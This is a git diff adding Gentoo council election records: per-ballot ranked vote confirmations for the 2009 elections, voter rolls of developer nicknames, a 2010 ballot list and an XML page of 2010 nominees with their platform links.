+_reopen_nominations
+dev-zero
+--------- confirmation b31c ---------
+betelgeuse
+leio
+scarabeus
+patrick
+gentoofan23
+--------- confirmation b486 ---------
+lu_zero
+solar
+betelgeuse
+patrick
+calchan
+scarabeus
+gentoofan23
+ssuominen
+leio
+dev-zero
+peper
+dertobi123
+ulm
+_reopen_nominations
+--------- confirmation b9f4 ---------
+calchan lu_zero dertobi123 ulm
+betelgeuse
+gentoofan23
+_reopen_nominations
+leio
+ssuominen
+patrick
+peper solar scarabeus dev-zero
+--------- confirmation bc18 ---------
+solar
+lu_zero
+ssuominen leio
+betelgeuse
+scarabeus dertobi123 ulm gentoofan23 dev-zero calchan peper
+patrick
+--------- confirmation bd0a ---------
+ulm
+dertobi123
+patrick
+lu_zero
+leio
+solar
+ssuominen
+calchan
+betelgeuse
+_reopen_nominations
+gentoofan23
+scarabeus
+dev-zero
+peper
+--------- confirmation bd1d ---------
+calchan
+solar
+patrick
+betelgeuse
+dertobi123 ulm ssuominen leio
+_reopen_nominations
+lu_zero
+scarabeus
+gentoofan23
+dev-zero
+peper
+--------- confirmation becd ---------
+solar
+ulm
+lu_zero
+dev-zero
+dertobi123
+betelgeuse
+leio
+scarabeus
+ssuominen
+--------- confirmation bfda ---------
+lu_zero dertobi123 leio calchan dev-zero betelgeuse solar peper gentoofan23
+patrick
+ulm
+ssuominen
+--------- confirmation c25f ---------
+ulm
+dev-zero
+betelgeuse
+calchan
+gentoofan23
+dertobi123
+peper
+lu_zero patrick scarabeus ssuominen
+solar leio
+--------- confirmation 01f9 ---------
+patrick lu_zero
+betelgeuse calchan
+solar
+ulm
+ssuominen
+gentoofan23
+peper dev-zero
+leio
+dertobi123
+scarabeus
+--------- confirmation c69e ---------
+betelgeuse calchan gentoofan23 dev-zero
+dertobi123
+_reopen_nominations
+--------- confirmation c87d ---------
+leio
+patrick
+solar
+calchan
+ulm
+gentoofan23
+scarabeus
+dertobi123 betelgeuse ssuominen
+lu_zero
+dev-zero
+_reopen_nominations
+peper
+--------- confirmation c92c ---------
+patrick scarabeus
+leio ulm
+calchan solar ssuominen
+betelgeuse dertobi123 lu_zero
+_reopen_nominations
+gentoofan23
+dev-zero
+peper
+--------- confirmation cc7b ---------
+solar
+patrick
+betelgeuse
+dertobi123 leio scarabeus lu_zero ulm dev-zero ssuominen peper gentoofan23 calchan
+--------- confirmation cc8f ---------
+solar
+leio
+betelgeuse
+patrick
+scarabeus
+dev-zero
+ssuominen
+calchan dertobi123 gentoofan23 lu_zero peper ulm
+--------- confirmation cdd3 ---------
+betelgeuse
+ulm
+solar
+_reopen_nominations
+gentoofan23 patrick peper dertobi123 scarabeus ssuominen calchan leio lu_zero
+dev-zero
+--------- confirmation ce63 ---------
+betelgeuse peper gentoofan23 dev-zero dertobi123
+ssuominen lu_zero calchan solar
+scarabeus ulm leio
+_reopen_nominations
+patrick
+--------- confirmation cef5 ---------
+solar calchan leio
+lu_zero
+ssuominen
+dertobi123 ulm gentoofan23
+betelgeuse dev-zero scarabeus
+peper
+_reopen_nominations
+patrick
+--------- confirmation cf0e ---------
+solar
+lu_zero
+dertobi123 peper patrick ulm
+leio calchan betelgeuse scarabeus dev-zero gentoofan23
+ssuominen
+--------- confirmation cffd ---------
+betelgeuse
+lu_zero
+ssuominen
+solar
+gentoofan23
+ulm
+patrick
+dertobi123 leio dev-zero peper scarabeus calchan
+_reopen_nominations
+--------- confirmation d05d ---------
+patrick
+leio lu_zero ulm
+solar scarabeus
+calchan
+ssuominen
+dertobi123
+_reopen_nominations
+--------- confirmation d21b ---------
+dertobi123
+dev-zero
+ulm
+calchan
+solar
+ssuominen
+leio
+lu_zero
+patrick
+betelgeuse
+_reopen_nominations
+peper
+scarabeus
+gentoofan23
+--------- confirmation d493 ---------
+ssuominen
+scarabeus
+gentoofan23
+calchan
+patrick
+peper
+dertobi123
+betelgeuse
+ulm
+leio
+solar
+lu_zero
+dev-zero
+_reopen_nominations
+--------- confirmation d5cd ---------
+solar
+betelgeuse ssuominen calchan gentoofan23
+_reopen_nominations
+ulm dertobi123
+scarabeus
+leio peper dev-zero
+lu_zero patrick
+--------- confirmation d6f8 ---------
+gentoofan23
+dev-zero
+betelgeuse
+dertobi123 ssuominen ulm lu_zero
+solar calchan leio
+peper scarabeus
+patrick
+_reopen_nominations
+--------- confirmation d7d1 ---------
+calchan
+scarabeus
+gentoofan23
+patrick
+dev-zero
+betelgeuse
+dertobi123
+_reopen_nominations
+ssuominen leio solar peper lu_zero
+ulm
+--------- confirmation db97 ---------
+lu_zero
+leio dev-zero
+betelgeuse dertobi123 ulm
+scarabeus calchan
+solar
+ssuominen
+peper
+gentoofan23 patrick
+--------- confirmation ddcc ---------
+dev-zero solar calchan lu_zero betelgeuse dertobi123 ssuominen ulm leio
+patrick gentoofan23 scarabeus peper
+_reopen_nominations
+--------- confirmation e189 ---------
+ulm
+leio
+betelgeuse dertobi123
+calchan gentoofan23
+solar
+ssuominen lu_zero patrick dev-zero
+peper scarabeus
+_reopen_nominations
+--------- confirmation e303 ---------
+betelgeuse
+scarabeus
+dev-zero calchan
+dertobi123 ssuominen ulm
+gentoofan23
+_reopen_nominations
+peper
+leio
+lu_zero patrick solar
+--------- confirmation e459 ---------
+peper
+gentoofan23 dev-zero
+ssuominen betelgeuse dertobi123
+leio ulm scarabeus
+lu_zero solar calchan
+_reopen_nominations
+patrick
+--------- confirmation 16e7 ---------
+dev-zero
+solar
+betelgeuse
+dertobi123
+ssuominen
+gentoofan23
+scarabeus
+calchan
+peper
+_reopen_nominations
+ulm patrick lu_zero leio
+--------- confirmation e523 ---------
+solar
+calchan
+betelgeuse
+leio
+lu_zero
+dertobi123
+dev-zero
+patrick
+ulm
+peper
+ssuominen
+scarabeus
+gentoofan23
+_reopen_nominations
+--------- confirmation 1705 ---------
+lu_zero dertobi123 solar dev-zero leio betelgeuse
+ssuominen patrick calchan ulm
+peper scarabeus gentoofan23
+_reopen_nominations
+--------- confirmation ea6b ---------
+solar
+leio
+patrick
+ulm
+lu_zero
+scarabeus
+dertobi123
+ssuominen
+gentoofan23
+_reopen_nominations
+peper
+dev-zero
+betelgeuse
+calchan
+--------- confirmation eab4 ---------
+dev-zero
+solar
+betelgeuse
+scarabeus calchan leio ulm lu_zero dertobi123 gentoofan23 peper patrick ssuominen
+_reopen_nominations
+--------- confirmation eb65 ---------
+ulm
+leio betelgeuse ssuominen
+dertobi123 patrick
+solar calchan
+_reopen_nominations
+lu_zero
+dev-zero peper gentoofan23 scarabeus
+--------- confirmation ebe2 ---------
+solar
+leio
+patrick
+dertobi123
+ulm
+lu_zero
+dev-zero
+calchan
+gentoofan23
+betelgeuse
+scarabeus
+peper
+ssuominen
+_reopen_nominations
+--------- confirmation ec00 ---------
+gentoofan23
+betelgeuse
+calchan
+ulm
+solar
+dertobi123
+scarabeus
+ssuominen
+_reopen_nominations
+patrick leio
+peper
+lu_zero
+dev-zero
+--------- confirmation 17c5 ---------
+dertobi123
+ulm leio lu_zero
+solar
+scarabeus
+_reopen_nominations
+patrick gentoofan23 betelgeuse calchan dev-zero peper ssuominen
+--------- confirmation 17cc ---------
+calchan solar
+gentoofan23
+patrick scarabeus
+ssuominen betelgeuse
+_reopen_nominations
+dev-zero leio lu_zero dertobi123
+peper ulm
+--------- confirmation eea1 ---------
+calchan
+patrick
+solar
+betelgeuse
+gentoofan23
+dev-zero
+scarabeus
+dertobi123
+lu_zero
+ulm
+leio
+ssuominen
+peper
+_reopen_nominations
+--------- confirmation f10e ---------
+calchan
+ulm
+leio
+patrick
+scarabeus
+solar
+ssuominen
+lu_zero
+_reopen_nominations
+dertobi123 betelgeuse peper gentoofan23 dev-zero
+--------- confirmation f4fe ---------
+leio
+solar
+patrick
+ulm
+lu_zero
+scarabeus
+ssuominen
+gentoofan23
+dertobi123
+calchan
+betelgeuse
+_reopen_nominations
+peper
+dev-zero
+--------- confirmation f73b ---------
+gentoofan23 scarabeus
+betelgeuse
+patrick calchan leio
+--------- confirmation f73c ---------
+solar
+lu_zero
+patrick
+leio
+ssuominen
+dertobi123
+ulm
+scarabeus
+calchan
+betelgeuse
+_reopen_nominations
+gentoofan23
+dev-zero
+peper
+--------- confirmation f7d8 ---------
+dertobi123
+solar
+betelgeuse
+ssuominen
+calchan
+lu_zero
+dev-zero
+ulm
+scarabeus
+leio
+patrick
+peper
+gentoofan23
+--------- confirmation f813 ---------
+calchan
+gentoofan23
+betelgeuse
+patrick
+--------- confirmation f853 ---------
+leio
+betelgeuse
+dertobi123
+scarabeus
+gentoofan23
+dev-zero
+calchan
+solar
+patrick
+_reopen_nominations
+lu_zero ssuominen ulm peper
+--------- confirmation f944 ---------
+solar
+betelgeuse
+dertobi123
+lu_zero
+peper
+ulm
+dev-zero
+gentoofan23
+ssuominen
+patrick
+calchan
+scarabeus
+leio
+--------- confirmation 191b ---------
+solar leio gentoofan23
+betelgeuse ulm calchan
+dev-zero scarabeus peper dertobi123
+_reopen_nominations
+lu_zero ssuominen
+patrick
+--------- confirmation fcac ---------
+peper calchan betelgeuse gentoofan23
+dertobi123 dev-zero ssuominen
+ulm leio solar
+lu_zero
+_reopen_nominations
+patrick scarabeus
+--------- confirmation fd50 ---------
+solar
+lu_zero
+leio
+ulm
+scarabeus
+ssuominen
+dertobi123
+patrick
+calchan
+_reopen_nominations
+gentoofan23
+betelgeuse
+peper
+dev-zero
+--------- confirmation ff19 ---------
+solar
+betelgeuse patrick
+ssuominen
+dertobi123
+leio
+lu_zero
+ulm
+calchan dev-zero gentoofan23 scarabeus
+peper
+--------- confirmation 02ed ---------
+solar ulm dertobi123
+lu_zero calchan leio dev-zero
+ssuominen betelgeuse
+gentoofan23 scarabeus
+peper patrick _reopen_nominations
+--------- confirmation 2001 ---------
+betelgeuse scarabeus calchan
+gentoofan23 solar ulm leio
+dertobi123 patrick
+lu_zero
+ssuominen peper
+dev-zero
+_reopen_nominations
+--------- confirmation 2335 ---------
+solar
+dertobi123
+dev-zero
+calchan
+betelgeuse
+gentoofan23
+ulm
+ssuominen
+patrick
+leio
+peper
+lu_zero
+scarabeus
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/master-council200912.txt b/xml/htdocs/proj/en/elections/council/2009/master-council200912.txt
new file mode 100644
index 00000000..36a873fb
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/master-council200912.txt
@@ -0,0 +1,502 @@
+--------- confirmation 2765 ---------
+wired
+tanderson
+patrick scarabeus
+dev-zero
+_reopen_nominations
+--------- confirmation 2dea ---------
+dev-zero patrick
+wired tanderson
+scarabeus
+_reopen_nominations
+--------- confirmation 2e6e ---------
+patrick scarabeus dev-zero
+wired
+tanderson
+_reopen_nominations
+--------- confirmation 30a4 ---------
+scarabeus
+dev-zero tanderson wired
+_reopen_nominations
+patrick
+--------- confirmation 05cd ---------
+tanderson scarabeus
+patrick wired dev-zero
+_reopen_nominations
+--------- confirmation 3d38 ---------
+patrick
+tanderson dev-zero wired scarabeus
+_reopen_nominations
+--------- confirmation 3dbe ---------
+wired
+scarabeus
+tanderson
+_reopen_nominations
+--------- confirmation 3e23 ---------
+scarabeus wired patrick
+_reopen_nominations
+--------- confirmation 40e5 ---------
+scarabeus
+dev-zero
+tanderson
+wired
+_reopen_nominations
+patrick
+--------- confirmation 42ef ---------
+dev-zero
+wired
+_reopen_nominations
+scarabeus
+tanderson
+patrick
+--------- confirmation 47c7 ---------
+scarabeus
+patrick
+wired
+_reopen_nominations
+tanderson
+dev-zero
+--------- confirmation 49a2 ---------
+scarabeus
+patrick
+wired
+dev-zero
+tanderson
+_reopen_nominations
+--------- confirmation 0774 ---------
+_reopen_nominations
+dev-zero
+patrick
+wired scarabeus tanderson
+--------- confirmation 4f16 ---------
+dev-zero
+scarabeus
+wired
+tanderson
+_reopen_nominations
+patrick
+--------- confirmation 4fab ---------
+scarabeus
+wired
+patrick
+_reopen_nominations
+dev-zero
+tanderson
+--------- confirmation 0806 ---------
+scarabeus
+dev-zero
+wired
+_reopen_nominations
+tanderson
+patrick
+--------- confirmation 505e ---------
+tanderson dev-zero
+wired scarabeus
+_reopen_nominations
+patrick
+--------- confirmation 52aa ---------
+patrick
+wired
+scarabeus
+tanderson
+_reopen_nominations
+dev-zero
+--------- confirmation 085e ---------
+dev-zero
+tanderson
+_reopen_nominations
+wired
+scarabeus
+patrick
+--------- confirmation 5453 ---------
+tanderson
+dev-zero
+_reopen_nominations
+wired
+scarabeus
+patrick
+--------- confirmation 560d ---------
+_reopen_nominations
+scarabeus
+dev-zero
+patrick
+wired
+tanderson
+--------- confirmation 59ff ---------
+patrick scarabeus
+wired
+dev-zero
+tanderson
+--------- confirmation 5a1c ---------
+scarabeus
+_reopen_nominations
+patrick
+wired
+dev-zero tanderson
+--------- confirmation 5af0 ---------
+scarabeus
+_reopen_nominations
+wired
+tanderson
+patrick dev-zero
+--------- confirmation 5e3d ---------
+patrick
+tanderson
+scarabeus
+wired
+_reopen_nominations
+dev-zero
+--------- confirmation 5e4a ---------
+dev-zero
+tanderson
+scarabeus patrick
+wired
+_reopen_nominations
+--------- confirmation 09f4 ---------
+patrick
+scarabeus
+tanderson
+wired
+_reopen_nominations
+dev-zero
+--------- confirmation 65d9 ---------
+wired scarabeus patrick
+_reopen_nominations
+tanderson
+dev-zero
+--------- confirmation 6894 ---------
+wired
+scarabeus
+tanderson
+dev-zero
+_reopen_nominations
+patrick
+--------- confirmation 6ba9 ---------
+wired
+patrick scarabeus
+tanderson dev-zero
+_reopen_nominations
+--------- confirmation 6c41 ---------
+patrick
+_reopen_nominations
+tanderson dev-zero scarabeus wired
+--------- confirmation 70de ---------
+scarabeus
+patrick
+_reopen_nominations
+--------- confirmation 72e4 ---------
+dev-zero
+scarabeus
+tanderson
+_reopen_nominations
+wired
+patrick
+--------- confirmation 7479 ---------
+tanderson patrick dev-zero
+scarabeus wired
+_reopen_nominations
+--------- confirmation 748a ---------
+scarabeus dev-zero wired
+tanderson patrick
+_reopen_nominations
+--------- confirmation 7be3 ---------
+scarabeus patrick
+tanderson
+_reopen_nominations
+wired
+dev-zero
+--------- confirmation 0c6c ---------
+tanderson
+dev-zero
+_reopen_nominations
+wired
+scarabeus
+patrick
+--------- confirmation 7c7c ---------
+patrick
+_reopen_nominations
+scarabeus
+wired
+tanderson
+dev-zero
+--------- confirmation 807e ---------
+patrick
+_reopen_nominations
+tanderson scarabeus dev-zero wired
+--------- confirmation 818c ---------
+scarabeus
+patrick
+wired
+_reopen_nominations
+tanderson
+dev-zero
+--------- confirmation 8276 ---------
+patrick scarabeus wired dev-zero tanderson
+_reopen_nominations
+--------- confirmation 8534 ---------
+_reopen_nominations
+dev-zero wired
+scarabeus patrick tanderson
+--------- confirmation 862e ---------
+scarabeus
+patrick wired dev-zero
+_reopen_nominations
+tanderson
+--------- confirmation 873a ---------
+scarabeus
+patrick
+wired
+tanderson
+_reopen_nominations
+dev-zero
+--------- confirmation 89cf ---------
+patrick scarabeus
+tanderson
+wired
+dev-zero
+_reopen_nominations
+--------- confirmation 8b1f ---------
+patrick
+dev-zero scarabeus
+_reopen_nominations
+wired tanderson
+--------- confirmation 8edf ---------
+wired
+patrick scarabeus
+tanderson
+_reopen_nominations
+dev-zero
+--------- confirmation 8f53 ---------
+patrick
+tanderson
+scarabeus
+wired
+dev-zero
+_reopen_nominations
+--------- confirmation 0f11 ---------
+patrick
+scarabeus
+wired
+tanderson
+dev-zero
+_reopen_nominations
+--------- confirmation 984d ---------
+patrick
+scarabeus
+wired
+dev-zero
+tanderson
+_reopen_nominations
+--------- confirmation 984e ---------
+dev-zero
+scarabeus
+wired
+_reopen_nominations
+tanderson
+patrick
+--------- confirmation 9db6 ---------
+tanderson
+dev-zero
+patrick
+scarabeus wired
+_reopen_nominations
+--------- confirmation a046 ---------
+patrick
+wired
+tanderson
+scarabeus
+dev-zero
+_reopen_nominations
+--------- confirmation a3f6 ---------
+tanderson scarabeus dev-zero wired
+_reopen_nominations
+patrick
+--------- confirmation 10d7 ---------
+patrick
+scarabeus wired
+_reopen_nominations
+dev-zero tanderson
+--------- confirmation a95a ---------
+scarabeus
+patrick
+wired
+_reopen_nominations
+dev-zero
+tanderson
+--------- confirmation 01b9 ---------
+_reopen_nominations
+patrick scarabeus wired
+tanderson
+dev-zero
+--------- confirmation 1145 ---------
+patrick
+dev-zero
+scarabeus
+wired
+_reopen_nominations tanderson
+--------- confirmation aef5 ---------
+dev-zero
+scarabeus
+patrick
+_reopen_nominations
+tanderson
+wired
+--------- confirmation b493 ---------
+patrick
+scarabeus
+tanderson
+dev-zero
+wired
+_reopen_nominations
+--------- confirmation b7f2 ---------
+tanderson
+dev-zero
+_reopen_nominations
+patrick
+scarabeus
+wired
+--------- confirmation b821 ---------
+patrick
+scarabeus
+_reopen_nominations
+wired tanderson dev-zero
+--------- confirmation bc35 ---------
+patrick
+wired
+scarabeus
+_reopen_nominations
+dev-zero
+tanderson
+--------- confirmation c24d ---------
+patrick
+scarabeus
+_reopen_nominations
+--------- confirmation c703 ---------
+dev-zero
+_reopen_nominations
+scarabeus wired patrick tanderson
+--------- confirmation c8c0 ---------
+_reopen_nominations
+dev-zero
+tanderson wired
+scarabeus patrick
+--------- confirmation c918 ---------
+dev-zero scarabeus wired
+tanderson
+_reopen_nominations
+patrick
+--------- confirmation c940 ---------
+patrick
+scarabeus
+_reopen_nominations
+wired
+tanderson
+dev-zero
+--------- confirmation cc1a ---------
+patrick
+dev-zero
+tanderson
+scarabeus
+wired
+--------- confirmation d1b1 ---------
+dev-zero
+scarabeus
+_reopen_nominations
+tanderson patrick wired
+--------- confirmation d6a7 ---------
+dev-zero
+tanderson
+_reopen_nominations
+wired
+scarabeus
+patrick
+--------- confirmation d7da ---------
+dev-zero
+wired
+tanderson
+scarabeus
+_reopen_nominations
+patrick
+--------- confirmation e539 ---------
+patrick
+tanderson wired scarabeus
+dev-zero
+_reopen_nominations
+--------- confirmation e712 ---------
+patrick
+scarabeus tanderson dev-zero
+wired
+_reopen_nominations
+--------- confirmation eaa8 ---------
+patrick
+wired
+tanderson
+scarabeus dev-zero
+_reopen_nominations
+--------- confirmation efd5 ---------
+_reopen_nominations
+tanderson
+wired
+dev-zero
+scarabeus
+patrick
+--------- confirmation efd9 ---------
+scarabeus patrick
+wired
+tanderson dev-zero
+_reopen_nominations
+--------- confirmation f03d ---------
+dev-zero
+_reopen_nominations
+patrick scarabeus tanderson wired
+--------- confirmation f108 ---------
+patrick
+scarabeus dev-zero
+wired
+tanderson
+_reopen_nominations
+--------- confirmation f12d ---------
+wired
+tanderson
+scarabeus
+patrick
+dev-zero
+_reopen_nominations
+--------- confirmation f205 ---------
+scarabeus
+tanderson
+dev-zero
+wired
+_reopen_nominations
+patrick
+--------- confirmation f91d ---------
+scarabeus wired
+_reopen_nominations
+tanderson
+patrick dev-zero
+--------- confirmation fbd7 ---------
+wired
+scarabeus
+patrick
+_reopen_nominations
+--------- confirmation fd0a ---------
+tanderson
+wired
+_reopen_nominations
+scarabeus
+dev-zero
+patrick
+--------- confirmation fe92 ---------
+dev-zero tanderson wired scarabeus patrick
+_reopen_nominations
+--------- confirmation 1bc1 ---------
+patrick tanderson scarabeus
+wired dev-zero
+_reopen_nominations
+--------- confirmation 1d46 ---------
+tanderson
+scarabeus
+dev-zero
+wired
+patrick
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/voters-council200906.txt b/xml/htdocs/proj/en/elections/council/2009/voters-council200906.txt
new file mode 100644
index 00000000..0a667b83
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/voters-council200906.txt
@@ -0,0 +1,248 @@
+a3li
+aballier
+aetius
+agaffney
+alexxy
+ali_bush
+amne
+angelos
+antarus
+araujo
+arfrever
+armin76
+asn
+b33fc0d3
+bangert
+basic
+bass
+battousai
+beandog
+betelgeuse
+bicatali
+billie
+blackace
+bluebird
+calchan
+caleb
+cam
+cardoe
+carlo
+caster
+cedk
+chainsaw
+chiguire
+chtekk
+chutzpah
+cla
+codeman
+coldwind
+corsair
+cryos
+d2_racing
+dagger
+dams
+dang
+darkside
+dav_it
+dberkholz
+deathwing00
+dertobi123
+desultory
+dev-zero
+dirtyepic
+djay
+dmwaters
+dostrow
+dragonheart
+drizzt
+dsd
+earthwings
+elvanor
+eva
+falco
+fauli
+flameeyes
+flammie
+fmccor
+ford_prefect
+fordfrog
+fox2mike
+fuzzyray
+g2boojum
+gbittorrent
+gengor
+genstef
+gentoofan23
+george
+gmsoft
+graaff
+gregkh
+griffon26
+grobian
+grozin
+gurligebis
+halcy0n
+hanno
+hattya
+haubi
+hd_brummy
+hkbst
+hncaldwell
+hoffie
+hollow
+hparker
+humpback
+hwoarang
+i92guboj
+ian
+idl0r
+ikelos
+iluxa
+jaervosz
+je_fro
+jer
+jkt
+jmbsvicetto
+joker
+jokey
+josejx
+jrinkovs
+jsbronder
+jurek
+kallamej
+kalos
+kanaka
+ken69267
+keri
+kernelsensei
+keytoaster
+killerfox
+kingtaco
+klausman
+klieber
+kolmodin
+kumba
+lack
+lavajoe
+leio
+livewire
+loki_val
+lordvan
+lu_zero
+mabi
+maedhros
+maekke
+marineam
+mark_alec
+markm
+markusle
+matsuu
+mattepiu
+mbres
+mdisney
+mduft
+mescalinum
+micm
+miknix
+mpagano
+mr_bones_
+mrness
+mrpouet
+mueli
+musikc
+neddyseagoon
+nelchael
+nerdboy
+neurogeek
+neysx
+nightmorph
+nirbheek
+nixnut
+nixphoeni
+nyhm
+omp
+patrick
+pauldv
+pchrist
+pebenito
+peitolm
+peper
+phosphan
+pilla
+pjp
+polvi
+polynomial-c
+pva
+pvdabeel
+py
+pythonhead
+quantumsummers
+r0bertz
+radek
+rajiv
+ramereth
+rane
+ranger
+rbu
+redhatter
+remi
+ribosome
+rich0
+ricmm
+rl03
+robbat2
+s4t4n
+sbriesen
+scarabeus
+scen
+serkan
+shadow
+shindo
+sirseoman
+smithj
+solar
+spock
+ssuominen
+steev
+stefaan
+suka
+swegener
+tacotest
+tampakrap
+tantive
+tcunha
+tester
+tgall
+tgurr
+the_paya
+think4urs11
+timebandit
+titefleur
+tomk
+tommy
+tove
+trapni
+truedfx
+tsunam
+tupone
+ulm
+vadimk
+vanquirius
+vapier
+volkmar
+vorlon
+voxus
+voyageur
+weaver
+welp
+williamh
+wormo
+wrobel
+wschlich
+xmerlin
+yngwin
+yoswink
+yuval
+yvasilev
+zmedico
+zzam
diff --git a/xml/htdocs/proj/en/elections/council/2009/voters-council200912.txt b/xml/htdocs/proj/en/elections/council/2009/voters-council200912.txt
new file mode 100644
index 00000000..5c413571
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/voters-council200912.txt
@@ -0,0 +1,260 @@
+a3li
+aballier
+abcd
+aetius
+agaffney
+alexxy
+ali_bush
+amne
+anarchy
+angelos
+antarus
+araujo
+arfrever
+armin76
+asn
+asym
+ayoy
+b33fc0d3
+bangert
+basic
+bass
+battousai
+beandog
+betelgeuse
+bicatali
+billie
+blackace
+bluebird
+calchan
+cam
+cardoe
+carlo
+caster
+cedk
+chainsaw
+chiguire
+chtekk
+chutzpah
+cla
+codeman
+coldwind
+corsair
+craig
+cryos
+d2_racing
+dabbott
+dagger
+dams
+dang
+darkside
+dav_it
+dberkholz
+deathwing00
+dertobi123
+desultory
+dev-zero
+dirtyepic
+djay
+djc
+dmwaters
+dostrow
+dragonheart
+drizzt
+dsd
+earthwings
+elvanor
+eva
+falco
+fauli
+flameeyes
+flammie
+fmccor
+ford_prefect
+fordfrog
+fox2mike
+fuzzyray
+g2boojum
+gbittorrent
+gengor
+genstef
+george
+gmsoft
+graaff
+gregkh
+griffon26
+grobian
+grozin
+gurligebis
+halcy0n
+hanno
+hattya
+haubi
+hd_brummy
+hkbst
+hncaldwell
+hoffie
+hollow
+hparker
+humpback
+hwoarang
+i92guboj
+ian
+idl0r
+ikelos
+iluxa
+jaervosz
+je_fro
+jer
+jkt
+jmbsvicetto
+joker
+jokey
+josejx
+jrinkovs
+jsbronder
+jurek
+kallamej
+kanaka
+ken69267
+keri
+kernelsensei
+keytoaster
+killerfox
+kingtaco
+klausman
+klieber
+kolmodin
+lack
+lavajoe
+leio
+livewire
+loki_val
+lordvan
+lu_zero
+lxnay
+mabi
+maedhros
+maekke
+marineam
+mark_alec
+markm
+markusle
+matsuu
+mattepiu
+mbres
+mdisney
+mduft
+mescalinum
+micm
+miknix
+mpagano
+mr_bones_
+mrness
+mrpouet
+mueli
+musikc
+nathanzachary
+neddyseagoon
+nelchael
+nerdboy
+neurogeek
+neysx
+nightmorph
+nirbheek
+nixnut
+nixphoeni
+nyhm
+omp
+pacho
+patrick
+pauldv
+pchrist
+pebenito
+peitolm
+peper
+phajdan.jr
+phosphan
+pilla
+pjp
+polvi
+polynomial-c
+pva
+pvdabeel
+py
+pythonhead
+quantumsummers
+r0bertz
+radek
+rajiv
+ramereth
+rane
+ranger
+rbu
+redhatter
+remi
+ribosome
+rich0
+ricmm
+rl03
+robbat2
+s4t4n
+sbriesen
+scarabeus
+scen
+serkan
+shadow
+shindo
+sirseoman
+smithj
+solar
+spatz
+sping
+spock
+ssuominen
+steev
+stefaan
+suka
+swegener
+tacotest
+tampakrap
+tanderson
+tantive
+tcunha
+tester
+tgall
+tgurr
+the_paya
+think4urs11
+timebandit
+titefleur
+tomk
+tommy
+tove
+trapni
+truedfx
+tsunam
+tupone
+ulm
+vadimk
+vanquirius
+vapier
+volkmar
+vorlon
+vostorga
+voxus
+voyageur
+weaver
+welp
+williamh
+wired
+wormo
+wrobel
+wschlich
+xmerlin
+yngwin
+yoswink
+yuval
+yvasilev
+zmedico
+zzam
diff --git a/xml/htdocs/proj/en/elections/council/2010/ballot-council201006.txt b/xml/htdocs/proj/en/elections/council/2010/ballot-council201006.txt
new file mode 100644
index 00000000..2885904c
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2010/ballot-council201006.txt
@@ -0,0 +1,11 @@
+betelgeuse
+chainsaw
+ferringb
+halcy0n
+jmbsvicetto
+patrick
+phajdan.jr
+scarabeus
+sping
+wired
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2010/council-201006-nominees.xml b/xml/htdocs/proj/en/elections/council/2010/council-201006-nominees.xml
new file mode 100644
index 00000000..abf326ea
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2010/council-201006-nominees.xml
@@ -0,0 +1,63 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/council/2010/council-201006-nominees.xml,v 1.22 2010/07/03 23:29:45 ulm Exp $ -->
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+    <title>Gentoo Council 2010/2011 Nominations</title>
+
+<author title="Election Official">
+  <mail link="NeddySeagoon"/>
+</author>
+<author title="Election Official">
+  <mail link="ulm"/>
+</author>
+<author title="Election Official">
+  <mail link="tove"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="robbat2"/>
+</author>
+
+<date>2010-06-20</date>
+<version>14</version>
+
+<nominations from="2010-06-05" to="2010-06-18">
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~betelgeuse/manifesto-2010.html" council="yes" devrel="yes">betelgeuse</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~chainsaw/manifesto.html">chainsaw</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~ferringb/council-manifesto-2010.txt">ferringb</nominee>
+  <nominee accepted="yes" platform="http://archives.gentoo.org/gentoo-dev/msg_d780028fa311a72e40a116cec7fb6c6c.xml">halcy0n</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~jmbsvicetto/council201006-manifesto.xml" devrel="yes">jmbsvicetto</nominee>
+  <nominee accepted="yes" platform="http://archives.gentoo.org/gentoo-dev/msg_099ebc8b5f663f10ee25237fcf5d2720.xml">patrick</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~phajdan.jr/council-manifesto-201006.xml">phajdan.jr</nominee>
+  <nominee accepted="yes" council="yes" platform="http://dev.gentoo.org/~scarabeus/manifesto-2010.txt">scarabeus</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~sping/council-manifesto-2010-sping.txt">sping</nominee>
+  <nominee accepted="yes" platform="http://dev.gentoo.org/~wired/manifesto_2010-06.txt">wired</nominee>
+
+  <nominee > </nominee>
+
+  <nominee accepted="no">a3li</nominee>
+  <nominee accepted="no">amne</nominee>
+  <nominee accepted="no">antarus</nominee>
+  <nominee accepted="no" council="yes" devrel="yes">calchan</nominee>
+  <nominee accepted="no">darkside</nominee>
+  <nominee accepted="no">dirtyepic</nominee>
+  <nominee accepted="no">dsd</nominee>
+  <nominee accepted="no">fauli</nominee>
+  <nominee accepted="no">flameeyes</nominee>
+  <nominee accepted="no">mpagano</nominee>
+  <nominee accepted="no" trustee="yes">robbat2</nominee>
+  <nominee accepted="no" council="yes">solar</nominee>
+  <nominee accepted="no">ssuominen</nominee>
+  <nominee accepted="no">tanderson</nominee>
+  <nominee accepted="no" council="yes">ulm</nominee>
+  <nominee accepted="no">vapier</nominee>
+
+<!-- examples
+  <nominee accepted="yes" platform="../council/voting-logs/nominees/2008/dev-zero.txt">dev-zero</nominee>
+  <nominee accepted="yes" platform="../council/voting-logs/nominees/2008/dev-zero.txt" council="yes" devrel="yes">dev-zero</nominee>
+  <nominee > </nominee>
+-->
+</nominations>
+</election>
